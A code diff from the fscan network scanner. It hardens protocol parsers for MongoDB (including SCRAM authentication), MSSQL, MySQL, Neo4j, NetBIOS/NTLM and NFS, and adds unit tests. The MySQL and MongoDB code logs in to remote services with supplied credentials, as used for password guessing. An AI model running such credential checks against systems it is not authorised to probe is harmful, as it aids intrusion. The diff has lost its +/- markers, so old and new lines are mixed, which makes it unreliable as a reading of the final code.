buf = append(buf, 0x05) // type binary
|
||||
buf = append(buf, []byte(k)...)
|
||||
buf = append(buf, 0x00)
|
||||
buf = append(buf, byte(len(val)), 0, 0, 0)
|
||||
buf = binary.LittleEndian.AppendUint32(buf, uint32(len(val)))
|
||||
buf = append(buf, 0x00) // subtype 0
|
||||
buf = append(buf, val...)
|
||||
case bool:
|
||||
@@ -301,8 +339,11 @@ func readMongoMsg(conn io.Reader, timeout time.Duration) ([]byte, error) {
|
||||
}
|
||||
// 读取剩余 body
|
||||
bodyLen := int(msgLen) - 16
|
||||
if bodyLen <= 0 || bodyLen > 1024*1024 {
|
||||
return nil, nil
|
||||
if bodyLen == 0 {
|
||||
return []byte{}, nil
|
||||
}
|
||||
if bodyLen > maxMongoMessageBody {
|
||||
return nil, fmt.Errorf("mongodb response too large: %d", msgLen)
|
||||
}
|
||||
body := make([]byte, bodyLen)
|
||||
if _, err := io.ReadFull(conn, body); err != nil {
|
||||
@@ -316,6 +357,197 @@ func readMongoMsg(conn io.Reader, timeout time.Duration) ([]byte, error) {
|
||||
return body, nil
|
||||
}
|
||||
|
||||
type mongoCommandReply struct {
|
||||
ok bool
|
||||
conversationID int32
|
||||
conversationSet bool
|
||||
payload []byte
|
||||
done bool
|
||||
errmsg string
|
||||
}
|
||||
|
||||
func parseMongoCommandReply(doc []byte) (mongoCommandReply, error) {
|
||||
var reply mongoCommandReply
|
||||
if len(doc) < 5 {
|
||||
return reply, fmt.Errorf("short bson document")
|
||||
}
|
||||
docLen := int(binary.LittleEndian.Uint32(doc[:4]))
|
||||
if docLen < 5 || docLen > len(doc) {
|
||||
return reply, fmt.Errorf("invalid bson document length: %d", docLen)
|
||||
}
|
||||
pos := 4
|
||||
for pos < docLen-1 {
|
||||
typ := doc[pos]
|
||||
pos++
|
||||
keyStart := pos
|
||||
for pos < docLen && doc[pos] != 0 {
|
||||
pos++
|
||||
}
|
||||
if pos >= docLen {
|
||||
return reply, fmt.Errorf("unterminated bson key")
|
||||
}
|
||||
key := string(doc[keyStart:pos])
|
||||
pos++
|
||||
|
||||
switch typ {
|
||||
case 0x01: // double
|
||||
if pos+8 > docLen {
|
||||
return reply, fmt.Errorf("short bson double")
|
||||
}
|
||||
if key == "ok" {
|
||||
reply.ok = binary.LittleEndian.Uint64(doc[pos:pos+8]) != 0
|
||||
}
|
||||
pos += 8
|
||||
case 0x02: // string
|
||||
if pos+4 > docLen {
|
||||
return reply, fmt.Errorf("short bson string length")
|
||||
}
|
||||
n := int(binary.LittleEndian.Uint32(doc[pos : pos+4]))
|
||||
pos += 4
|
||||
if n <= 0 || pos+n > docLen {
|
||||
return reply, fmt.Errorf("invalid bson string length: %d", n)
|
||||
}
|
||||
value := string(doc[pos : pos+n-1])
|
||||
pos += n
|
||||
switch key {
|
||||
case "errmsg":
|
||||
reply.errmsg = value
|
||||
case "payload":
|
||||
reply.payload = []byte(value)
|
||||
}
|
||||
case 0x05: // binary
|
||||
if pos+5 > docLen {
|
||||
return reply, fmt.Errorf("short bson binary")
|
||||
}
|
||||
n := int(binary.LittleEndian.Uint32(doc[pos : pos+4]))
|
||||
pos += 5 // length + subtype
|
||||
if n < 0 || pos+n > docLen {
|
||||
return reply, fmt.Errorf("invalid bson binary length: %d", n)
|
||||
}
|
||||
if key == "payload" {
|
||||
reply.payload = append([]byte(nil), doc[pos:pos+n]...)
|
||||
}
|
||||
pos += n
|
||||
case 0x03, 0x04: // document, array
|
||||
if pos+4 > docLen {
|
||||
return reply, fmt.Errorf("short bson embedded document")
|
||||
}
|
||||
n := int(binary.LittleEndian.Uint32(doc[pos : pos+4]))
|
||||
if n < 5 || pos+n > docLen {
|
||||
return reply, fmt.Errorf("invalid bson embedded document length: %d", n)
|
||||
}
|
||||
pos += n
|
||||
case 0x07: // objectId
|
||||
if pos+12 > docLen {
|
||||
return reply, fmt.Errorf("short bson objectId")
|
||||
}
|
||||
pos += 12
|
||||
case 0x08: // bool
|
||||
if pos+1 > docLen {
|
||||
return reply, fmt.Errorf("short bson bool")
|
||||
}
|
||||
if key == "done" {
|
||||
reply.done = doc[pos] != 0
|
||||
}
|
||||
if key == "ok" {
|
||||
reply.ok = doc[pos] != 0
|
||||
}
|
||||
pos++
|
||||
case 0x10: // int32
|
||||
if pos+4 > docLen {
|
||||
return reply, fmt.Errorf("short bson int32")
|
||||
}
|
||||
value := int32(binary.LittleEndian.Uint32(doc[pos : pos+4]))
|
||||
if key == "conversationId" {
|
||||
reply.conversationID = value
|
||||
reply.conversationSet = true
|
||||
}
|
||||
if key == "ok" {
|
||||
reply.ok = value != 0
|
||||
}
|
||||
pos += 4
|
||||
case 0x09, 0x11: // datetime, timestamp
|
||||
if pos+8 > docLen {
|
||||
return reply, fmt.Errorf("short bson fixed64")
|
||||
}
|
||||
pos += 8
|
||||
case 0x0a, 0x7f, 0xff: // null, maxKey, minKey
|
||||
case 0x12: // int64
|
||||
if pos+8 > docLen {
|
||||
return reply, fmt.Errorf("short bson int64")
|
||||
}
|
||||
if key == "ok" {
|
||||
reply.ok = binary.LittleEndian.Uint64(doc[pos:pos+8]) != 0
|
||||
}
|
||||
pos += 8
|
||||
case 0x13: // decimal128
|
||||
if pos+16 > docLen {
|
||||
return reply, fmt.Errorf("short bson decimal128")
|
||||
}
|
||||
pos += 16
|
||||
default:
|
||||
return reply, fmt.Errorf("unsupported bson type 0x%02x for key %s", typ, key)
|
||||
}
|
||||
}
|
||||
return reply, nil
|
||||
}
|
||||
|
||||
func buildMongoSCRAMClientFinal(username, password, clientFirstBare, serverFirst string) (string, error) {
|
||||
attrs := parseSCRAMAttributes(serverFirst)
|
||||
serverNonce := attrs["r"]
|
||||
saltB64 := attrs["s"]
|
||||
iterText := attrs["i"]
|
||||
if serverNonce == "" || saltB64 == "" || iterText == "" {
|
||||
return "", fmt.Errorf("invalid SCRAM server-first payload")
|
||||
}
|
||||
clientNonce := scramAttr(clientFirstBare, "r")
|
||||
if clientNonce == "" || !strings.HasPrefix(serverNonce, clientNonce) {
|
||||
return "", fmt.Errorf("invalid SCRAM nonce")
|
||||
}
|
||||
salt, err := base64.StdEncoding.DecodeString(saltB64)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("invalid SCRAM salt: %w", err)
|
||||
}
|
||||
iterations, err := strconv.Atoi(iterText)
|
||||
if err != nil || iterations <= 0 {
|
||||
return "", fmt.Errorf("invalid SCRAM iteration count")
|
||||
}
|
||||
|
||||
clientFinalWithoutProof := "c=biws,r=" + serverNonce
|
||||
authMessage := clientFirstBare + "," + serverFirst + "," + clientFinalWithoutProof
|
||||
digest := md5.Sum([]byte(username + ":mongo:" + password))
|
||||
saltedPassword := pbkdf2.Key([]byte(fmt.Sprintf("%x", digest)), salt, iterations, sha1.Size, sha1.New)
|
||||
clientKey := mongoHMAC(saltedPassword, []byte("Client Key"))
|
||||
storedKey := sha1.Sum(clientKey)
|
||||
clientSignature := mongoHMAC(storedKey[:], []byte(authMessage))
|
||||
proof := make([]byte, len(clientKey))
|
||||
for i := range clientKey {
|
||||
proof[i] = clientKey[i] ^ clientSignature[i]
|
||||
}
|
||||
return clientFinalWithoutProof + ",p=" + base64.StdEncoding.EncodeToString(proof), nil
|
||||
}
|
||||
|
||||
func parseSCRAMAttributes(payload string) map[string]string {
|
||||
attrs := make(map[string]string)
|
||||
for _, part := range strings.Split(payload, ",") {
|
||||
if len(part) < 3 || part[1] != '=' {
|
||||
continue
|
||||
}
|
||||
attrs[part[:1]] = part[2:]
|
||||
}
|
||||
return attrs
|
||||
}
|
||||
|
||||
func scramAttr(payload, key string) string {
|
||||
return parseSCRAMAttributes(payload)[key]
|
||||
}
|
||||
|
||||
func mongoHMAC(key, data []byte) []byte {
|
||||
mac := hmac.New(sha1.New, key)
|
||||
_, _ = mac.Write(data)
|
||||
return mac.Sum(nil)
|
||||
}
|
||||
|
||||
// dialTCP 带超时的 TCP 连接
|
||||
func dialTCP(ctx context.Context, addr string, timeout time.Duration) (net.Conn, error) {
|
||||
dialer := net.Dialer{Timeout: timeout}
|
||||
|
||||
@@ -0,0 +1,130 @@
|
||||
//go:build plugin_mongodb || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/base64"
|
||||
"encoding/binary"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestReadMongoMsgRejectsTooLargeResponse(t *testing.T) {
|
||||
header := make([]byte, 16)
|
||||
binary.LittleEndian.PutUint32(header[:4], uint32(16+maxMongoMessageBody+1))
|
||||
|
||||
_, err := readMongoMsg(bytes.NewReader(header), time.Second)
|
||||
if err == nil {
|
||||
t.Fatal("readMongoMsg() error = nil, want too-large response error")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "too large") {
|
||||
t.Fatalf("readMongoMsg() error = %v, want too large", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReadMongoMsgHandlesEmptyBody(t *testing.T) {
|
||||
header := make([]byte, 16)
|
||||
binary.LittleEndian.PutUint32(header[:4], 16)
|
||||
|
||||
got, err := readMongoMsg(bytes.NewReader(header), time.Second)
|
||||
if err != nil {
|
||||
t.Fatalf("readMongoMsg() error = %v", err)
|
||||
}
|
||||
if len(got) != 0 {
|
||||
t.Fatalf("readMongoMsg() len = %d, want 0", len(got))
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildBSONEncodesFullStringAndBinaryLengths(t *testing.T) {
|
||||
longString := strings.Repeat("a", 300)
|
||||
longBinary := bytes.Repeat([]byte{0x42}, 300)
|
||||
|
||||
doc := buildBSON(mongoDoc{"s": longString})
|
||||
pos := 4
|
||||
if doc[pos] != 0x02 {
|
||||
t.Fatalf("first bson type = 0x%02x, want string", doc[pos])
|
||||
}
|
||||
pos += 1 + len("s") + 1
|
||||
if got := binary.LittleEndian.Uint32(doc[pos : pos+4]); got != uint32(len(longString)+1) {
|
||||
t.Fatalf("string length = %d, want %d", got, len(longString)+1)
|
||||
}
|
||||
|
||||
doc = buildBSON(mongoDoc{"b": longBinary})
|
||||
pos = 4
|
||||
if doc[pos] != 0x05 {
|
||||
t.Fatalf("first bson type = 0x%02x, want binary", doc[pos])
|
||||
}
|
||||
pos += 1 + len("b") + 1
|
||||
if got := binary.LittleEndian.Uint32(doc[pos : pos+4]); got != uint32(len(longBinary)) {
|
||||
t.Fatalf("binary length = %d, want %d", got, len(longBinary))
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildBSONEncodesFloat64Bits(t *testing.T) {
|
||||
doc := buildBSON(mongoDoc{"ok": 1.5})
|
||||
pos := 4
|
||||
if doc[pos] != 0x01 {
|
||||
t.Fatalf("bson type = 0x%02x, want double", doc[pos])
|
||||
}
|
||||
pos += 1 + len("ok") + 1
|
||||
if got := binary.LittleEndian.Uint64(doc[pos : pos+8]); got != 0x3ff8000000000000 {
|
||||
t.Fatalf("double bits = 0x%x, want 1.5 bits", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseMongoCommandReplyReadsSCRAMFields(t *testing.T) {
|
||||
payload := []byte("r=clientserver,s=" + base64.StdEncoding.EncodeToString([]byte("salt")) + ",i=4096")
|
||||
doc := buildBSON(mongoDoc{
|
||||
"ok": 1,
|
||||
"conversationId": 7,
|
||||
"payload": payload,
|
||||
"done": false,
|
||||
})
|
||||
|
||||
reply, err := parseMongoCommandReply(doc)
|
||||
if err != nil {
|
||||
t.Fatalf("parseMongoCommandReply() error = %v", err)
|
||||
}
|
||||
if !reply.ok || !reply.conversationSet || reply.conversationID != 7 || string(reply.payload) != string(payload) {
|
||||
t.Fatalf("unexpected reply: %+v", reply)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseMongoCommandReplySkipsExtraBSONFields(t *testing.T) {
|
||||
payload := []byte("r=clientserver,s=" + base64.StdEncoding.EncodeToString([]byte("salt")) + ",i=4096")
|
||||
doc := buildBSON(mongoDoc{
|
||||
"$clusterTime": mongoDoc{"clusterTime": 1},
|
||||
"operationTime": int64(123),
|
||||
"ok": 1,
|
||||
"conversationId": 9,
|
||||
"payload": payload,
|
||||
})
|
||||
|
||||
reply, err := parseMongoCommandReply(doc)
|
||||
if err != nil {
|
||||
t.Fatalf("parseMongoCommandReply() error = %v", err)
|
||||
}
|
||||
if !reply.ok || reply.conversationID != 9 || string(reply.payload) != string(payload) {
|
||||
t.Fatalf("unexpected reply: %+v", reply)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildMongoSCRAMClientFinalRejectsBadNonce(t *testing.T) {
|
||||
serverFirst := "r=othernonce,s=" + base64.StdEncoding.EncodeToString([]byte("salt")) + ",i=4096"
|
||||
if _, err := buildMongoSCRAMClientFinal("user", "pass", "n=user,r=client", serverFirst); err == nil {
|
||||
t.Fatal("buildMongoSCRAMClientFinal() error = nil, want nonce error")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildMongoSCRAMClientFinalBuildsProof(t *testing.T) {
|
||||
serverFirst := "r=clientserver,s=" + base64.StdEncoding.EncodeToString([]byte("salt")) + ",i=4096"
|
||||
got, err := buildMongoSCRAMClientFinal("user", "pass", "n=user,r=client", serverFirst)
|
||||
if err != nil {
|
||||
t.Fatalf("buildMongoSCRAMClientFinal() error = %v", err)
|
||||
}
|
||||
if !strings.HasPrefix(got, "c=biws,r=clientserver,p=") {
|
||||
t.Fatalf("client final = %q", got)
|
||||
}
|
||||
}
|
||||
@@ -23,6 +23,7 @@ const (
|
||||
|
||||
tdsVersion74 = 0x74000004
|
||||
tdsDefaultPacketLen = 4096
|
||||
maxTDSMessageSize = 1024 * 1024
|
||||
|
||||
tdsPreloginVersion = 0
|
||||
tdsPreloginEncryption = 1
|
||||
@@ -439,6 +440,9 @@ func mssqlReadMessage(r io.Reader) (byte, []byte, error) {
|
||||
if _, err := io.ReadFull(r, chunk); err != nil {
|
||||
return 0, nil, err
|
||||
}
|
||||
if len(payload)+len(chunk) > maxTDSMessageSize {
|
||||
return 0, nil, fmt.Errorf("mssql: message too large")
|
||||
}
|
||||
payload = append(payload, chunk...)
|
||||
if header[1]&tdsStatusEOM != 0 {
|
||||
return packetType, payload, nil
|
||||
|
||||
@@ -37,3 +37,27 @@ func TestMSSQLLogin7DoesNotExposeClientIdentity(t *testing.T) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestMSSQLReadMessageRejectsOversizedMultipartMessage(t *testing.T) {
|
||||
var packet bytes.Buffer
|
||||
remaining := maxTDSMessageSize + 1
|
||||
for remaining > 0 {
|
||||
chunkLen := remaining
|
||||
if chunkLen > 65527 {
|
||||
chunkLen = 65527
|
||||
}
|
||||
remaining -= chunkLen
|
||||
status := byte(0)
|
||||
if remaining == 0 {
|
||||
status = tdsStatusEOM
|
||||
}
|
||||
header := []byte{tdsPacketReply, status, 0, 0, 0, 0, 1, 0}
|
||||
binary.BigEndian.PutUint16(header[2:4], uint16(chunkLen+8))
|
||||
packet.Write(header)
|
||||
packet.Write(bytes.Repeat([]byte{0x41}, chunkLen))
|
||||
}
|
||||
|
||||
if _, _, err := mssqlReadMessage(&packet); err == nil {
|
||||
t.Fatal("mssqlReadMessage() error = nil, want oversized message error")
|
||||
}
|
||||
}
|
||||
|
||||
+40
-13
@@ -6,9 +6,11 @@ import (
|
||||
"context"
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"net"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/go-sql-driver/mysql"
|
||||
@@ -77,8 +79,14 @@ func (p *MySQLPlugin) createAuthFunc(info *common.HostInfo, config *common.Confi
|
||||
|
||||
// doMySQLAuth 执行MySQL认证
|
||||
func (p *MySQLPlugin) doMySQLAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
connStr := fmt.Sprintf("%s:%s@tcp(%s)/information_schema?charset=utf8&timeout=%ds",
|
||||
cred.Username, cred.Password, net.JoinHostPort(info.Host, strconv.Itoa(info.Port)), int64(config.Timeout.Seconds()))
|
||||
connStr, err := mySQLConnString(cred.Username, cred.Password, info, config.Timeout)
|
||||
if err != nil {
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeAuth,
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
db, err := sql.Open("mysql", connStr)
|
||||
if err != nil {
|
||||
@@ -115,6 +123,21 @@ func (p *MySQLPlugin) doMySQLAuth(ctx context.Context, info *common.HostInfo, cr
|
||||
}
|
||||
}
|
||||
|
||||
func mySQLConnString(username, password string, info *common.HostInfo, timeout time.Duration) (string, error) {
|
||||
if strings.ContainsAny(username, ":@/") {
|
||||
return "", fmt.Errorf("mysql username contains unsupported DSN delimiter")
|
||||
}
|
||||
cfg := mysql.NewConfig()
|
||||
cfg.User = username
|
||||
cfg.Passwd = password
|
||||
cfg.Net = "tcp"
|
||||
cfg.Addr = net.JoinHostPort(info.Host, strconv.Itoa(info.Port))
|
||||
cfg.DBName = "information_schema"
|
||||
cfg.Params = map[string]string{"charset": "utf8"}
|
||||
cfg.Timeout = timeout
|
||||
return cfg.FormatDSN(), nil
|
||||
}
|
||||
|
||||
// classifyMySQLErrorType MySQL错误分类
|
||||
func classifyMySQLErrorType(err error) ErrorType {
|
||||
if err == nil {
|
||||
@@ -173,28 +196,32 @@ func (p *MySQLPlugin) identifyService(ctx context.Context, info *common.HostInfo
|
||||
func (p *MySQLPlugin) readMySQLBanner(conn net.Conn, config *common.Config) string {
|
||||
_ = conn.SetReadDeadline(time.Now().Add(config.Timeout))
|
||||
|
||||
handshake := make([]byte, 256)
|
||||
n, err := conn.Read(handshake)
|
||||
if err != nil || n < 10 {
|
||||
header := make([]byte, 5)
|
||||
if _, err := io.ReadFull(conn, header); err != nil {
|
||||
return ""
|
||||
}
|
||||
|
||||
if handshake[4] != 10 {
|
||||
if header[4] != 10 {
|
||||
return ""
|
||||
}
|
||||
|
||||
versionStart := 5
|
||||
versionEnd := versionStart
|
||||
for versionEnd < n && handshake[versionEnd] != 0 {
|
||||
versionEnd++
|
||||
version := make([]byte, 0, 64)
|
||||
var b [1]byte
|
||||
for len(version) < 250 {
|
||||
if _, err := io.ReadFull(conn, b[:]); err != nil {
|
||||
return ""
|
||||
}
|
||||
if b[0] == 0 {
|
||||
break
|
||||
}
|
||||
version = append(version, b[0])
|
||||
}
|
||||
|
||||
if versionEnd <= versionStart {
|
||||
if len(version) == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
versionStr := string(handshake[versionStart:versionEnd])
|
||||
return fmt.Sprintf("MySQL %s", versionStr)
|
||||
return fmt.Sprintf("MySQL %s", string(version))
|
||||
}
|
||||
|
||||
func init() {
|
||||
|
||||
@@ -0,0 +1,87 @@
|
||||
//go:build plugin_mysql || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"io"
|
||||
"net"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/go-sql-driver/mysql"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
type chunkedMySQLConn struct {
|
||||
data []byte
|
||||
chunkSize int
|
||||
}
|
||||
|
||||
func (c *chunkedMySQLConn) Read(p []byte) (int, error) {
|
||||
if len(c.data) == 0 {
|
||||
return 0, io.EOF
|
||||
}
|
||||
n := len(c.data)
|
||||
if c.chunkSize > 0 && n > c.chunkSize {
|
||||
n = c.chunkSize
|
||||
}
|
||||
if n > len(p) {
|
||||
n = len(p)
|
||||
}
|
||||
copy(p, c.data[:n])
|
||||
c.data = c.data[n:]
|
||||
return n, nil
|
||||
}
|
||||
|
||||
func (c *chunkedMySQLConn) Write([]byte) (int, error) { return 0, nil }
|
||||
func (c *chunkedMySQLConn) Close() error { return nil }
|
||||
func (c *chunkedMySQLConn) LocalAddr() net.Addr { return nil }
|
||||
func (c *chunkedMySQLConn) RemoteAddr() net.Addr { return nil }
|
||||
func (c *chunkedMySQLConn) SetDeadline(time.Time) error { return nil }
|
||||
func (c *chunkedMySQLConn) SetReadDeadline(time.Time) error { return nil }
|
||||
func (c *chunkedMySQLConn) SetWriteDeadline(time.Time) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func TestReadMySQLBannerHandlesChunkedHandshake(t *testing.T) {
|
||||
data := []byte{0x2a, 0x00, 0x00, 0x00, 0x0a}
|
||||
data = append(data, []byte("8.0.36\x00")...)
|
||||
got := NewMySQLPlugin().readMySQLBanner(&chunkedMySQLConn{data: data, chunkSize: 1}, &common.Config{Timeout: time.Second})
|
||||
if got != "MySQL 8.0.36" {
|
||||
t.Fatalf("readMySQLBanner() = %q, want MySQL 8.0.36", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMySQLConnStringEscapesCredentialsAndIPv6(t *testing.T) {
|
||||
info := &common.HostInfo{Host: "2001:db8::1", Port: 3306}
|
||||
got, err := mySQLConnString("user", "pa:ss@/word", info, 3*time.Second)
|
||||
if err != nil {
|
||||
t.Fatalf("mySQLConnString() error = %v", err)
|
||||
}
|
||||
|
||||
for _, want := range []string{
|
||||
"user:pa:ss@/word@tcp([2001:db8::1]:3306)/information_schema",
|
||||
"charset=utf8",
|
||||
"timeout=3s",
|
||||
} {
|
||||
if !strings.Contains(got, want) {
|
||||
t.Fatalf("mySQLConnString() = %q, missing %q", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
cfg, err := mysql.ParseDSN(got)
|
||||
if err != nil {
|
||||
t.Fatalf("mysql.ParseDSN() error = %v", err)
|
||||
}
|
||||
if cfg.User != "user" || cfg.Passwd != "pa:ss@/word" || cfg.Addr != "[2001:db8::1]:3306" {
|
||||
t.Fatalf("parsed DSN user/pass/addr = %q/%q/%q", cfg.User, cfg.Passwd, cfg.Addr)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMySQLConnStringRejectsUnsupportedUsernameDelimiters(t *testing.T) {
|
||||
info := &common.HostInfo{Host: "127.0.0.1", Port: 3306}
|
||||
if _, err := mySQLConnString("user:name", "pass", info, time.Second); err == nil {
|
||||
t.Fatal("mySQLConnString() error = nil, want unsupported delimiter error")
|
||||
}
|
||||
}
|
||||
@@ -5,7 +5,6 @@ package services
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"strings"
|
||||
|
||||
@@ -163,7 +162,7 @@ func (p *Neo4jPlugin) testUnauthorizedAccess(ctx context.Context, info *common.H
|
||||
defer func() { _ = resp.Body.Close() }()
|
||||
|
||||
if resp.StatusCode == 200 {
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
body, err := readServiceHTTPBody(resp.Body)
|
||||
if err != nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
@@ -221,7 +220,7 @@ func (p *Neo4jPlugin) identifyService(ctx context.Context, info *common.HostInfo
|
||||
if serverHeader != "" && strings.Contains(strings.ToLower(serverHeader), "neo4j") {
|
||||
banner = "Neo4j"
|
||||
} else if resp.StatusCode == 200 || resp.StatusCode == 401 {
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
body, err := readServiceHTTPBody(resp.Body)
|
||||
if err != nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
|
||||
@@ -1,39 +1,14 @@
|
||||
//go:build plugin_neo4j || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"testing"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
func testSession() *common.ScanSession {
|
||||
cfg := common.NewConfig()
|
||||
return common.NewScanSession(cfg, common.NewState(), &common.FlagVars{})
|
||||
}
|
||||
|
||||
func hostInfoFromServer(t *testing.T, server *httptest.Server) *common.HostInfo {
|
||||
t.Helper()
|
||||
u, err := url.Parse(server.URL)
|
||||
if err != nil {
|
||||
t.Fatalf("Parse server URL error = %v", err)
|
||||
}
|
||||
host, portText, err := net.SplitHostPort(u.Host)
|
||||
if err != nil {
|
||||
t.Fatalf("SplitHostPort error = %v", err)
|
||||
}
|
||||
port, err := strconv.Atoi(portText)
|
||||
if err != nil {
|
||||
t.Fatalf("Atoi port error = %v", err)
|
||||
}
|
||||
return &common.HostInfo{Host: host, Port: port}
|
||||
}
|
||||
|
||||
func TestNeo4jIdentifyRejectsGenericHTTP(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
|
||||
_, _ = w.Write([]byte("plain http service"))
|
||||
|
||||
@@ -5,6 +5,7 @@ package services
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"net"
|
||||
"strings"
|
||||
@@ -360,13 +361,13 @@ func (p *NetBIOSPlugin) parseNetBIOSSession(data []byte) (*NetBIOSInfo, error) {
|
||||
|
||||
// parseNTLMInfo 解析NTLM信息
|
||||
func (p *NetBIOSPlugin) parseNTLMInfo(data []byte, info *NetBIOSInfo) {
|
||||
if len(data) < 45 {
|
||||
if len(data) < 48 {
|
||||
return
|
||||
}
|
||||
|
||||
// 获取Target Info偏移和长度
|
||||
targetInfoLength := int(data[40]) + int(data[41])*256
|
||||
targetInfoOffset := int(data[44])
|
||||
targetInfoOffset := int(binary.LittleEndian.Uint32(data[44:48]))
|
||||
|
||||
if targetInfoOffset+targetInfoLength > len(data) {
|
||||
return
|
||||
|
||||
@@ -0,0 +1,40 @@
|
||||
//go:build plugin_netbios || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"testing"
|
||||
"unicode/utf16"
|
||||
)
|
||||
|
||||
func TestParseNTLMInfoUsesFullTargetInfoOffset(t *testing.T) {
|
||||
p := NewNetBIOSPlugin()
|
||||
info := &NetBIOSInfo{}
|
||||
|
||||
targetInfo := appendNTLMAVPair(nil, 0x0003, "HOST.example.local")
|
||||
targetInfo = append(targetInfo, 0x00, 0x00, 0x00, 0x00)
|
||||
|
||||
const targetOffset = 300
|
||||
data := make([]byte, targetOffset+len(targetInfo))
|
||||
copy(data, "NTLMSSP\x00")
|
||||
binary.LittleEndian.PutUint16(data[40:42], uint16(len(targetInfo)))
|
||||
binary.LittleEndian.PutUint32(data[44:48], targetOffset)
|
||||
copy(data[targetOffset:], targetInfo)
|
||||
|
||||
p.parseNTLMInfo(data, info)
|
||||
if info.ComputerName != "HOST.example.local" {
|
||||
t.Fatalf("ComputerName = %q, want HOST.example.local", info.ComputerName)
|
||||
}
|
||||
}
|
||||
|
||||
func appendNTLMAVPair(dst []byte, id uint16, value string) []byte {
|
||||
encoded := utf16.Encode([]rune(value))
|
||||
buf := make([]byte, 4+len(encoded)*2)
|
||||
binary.LittleEndian.PutUint16(buf[0:2], id)
|
||||
binary.LittleEndian.PutUint16(buf[2:4], uint16(len(encoded)*2))
|
||||
for i, r := range encoded {
|
||||
binary.LittleEndian.PutUint16(buf[4+i*2:6+i*2], r)
|
||||
}
|
||||
return append(dst, buf...)
|
||||
}
|
||||
+41
-13
@@ -6,6 +6,7 @@ import (
|
||||
"context"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
@@ -88,13 +89,11 @@ func (p *NFSPlugin) rpcNullCall(conn interface {
|
||||
return err
|
||||
}
|
||||
|
||||
buf := make([]byte, 512)
|
||||
n, err := conn.Read(buf)
|
||||
if err != nil || n < 28 {
|
||||
reply, err := readRPCFragment(conn, 512)
|
||||
if err != nil || len(reply) < 24 {
|
||||
return fmt.Errorf("short response")
|
||||
}
|
||||
|
||||
reply := buf[4:n]
|
||||
replyXID := binary.BigEndian.Uint32(reply[0:4])
|
||||
if replyXID != xid {
|
||||
return fmt.Errorf("xid mismatch")
|
||||
@@ -119,15 +118,10 @@ func (p *NFSPlugin) getExports(conn interface {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Read fragment header (4 bytes) + response
|
||||
buf := make([]byte, 4096)
|
||||
n, err := conn.Read(buf)
|
||||
if err != nil || n < 28 {
|
||||
return nil, fmt.Errorf("short response: %d bytes", n)
|
||||
reply, err := readRPCFragment(conn, 4096)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Skip fragment header (4 bytes), parse RPC reply
|
||||
reply := buf[4:n]
|
||||
if len(reply) < 24 {
|
||||
return nil, fmt.Errorf("invalid reply")
|
||||
}
|
||||
@@ -152,7 +146,16 @@ func (p *NFSPlugin) getExports(conn interface {
|
||||
}
|
||||
// verifier flavor + length
|
||||
verifierLen := binary.BigEndian.Uint32(reply[offset+4 : offset+8])
|
||||
if verifierLen > uint32(len(reply)-offset-8) {
|
||||
return nil, fmt.Errorf("truncated verifier")
|
||||
}
|
||||
offset += 8 + int(verifierLen)
|
||||
if pad := (4 - verifierLen%4) % 4; pad > 0 {
|
||||
if int(pad) > len(reply)-offset {
|
||||
return nil, fmt.Errorf("truncated verifier padding")
|
||||
}
|
||||
offset += int(pad)
|
||||
}
|
||||
|
||||
// Accept status
|
||||
if offset+4 > len(reply) {
|
||||
@@ -201,8 +204,15 @@ func (p *NFSPlugin) parseExportList(data []byte) []string {
|
||||
break
|
||||
}
|
||||
groupLen := binary.BigEndian.Uint32(data[offset : offset+4])
|
||||
offset += 4 + int(groupLen)
|
||||
offset += 4
|
||||
if groupLen > uint32(len(data)-offset) {
|
||||
break
|
||||
}
|
||||
offset += int(groupLen)
|
||||
if pad := (4 - groupLen%4) % 4; pad > 0 {
|
||||
if int(pad) > len(data)-offset {
|
||||
break
|
||||
}
|
||||
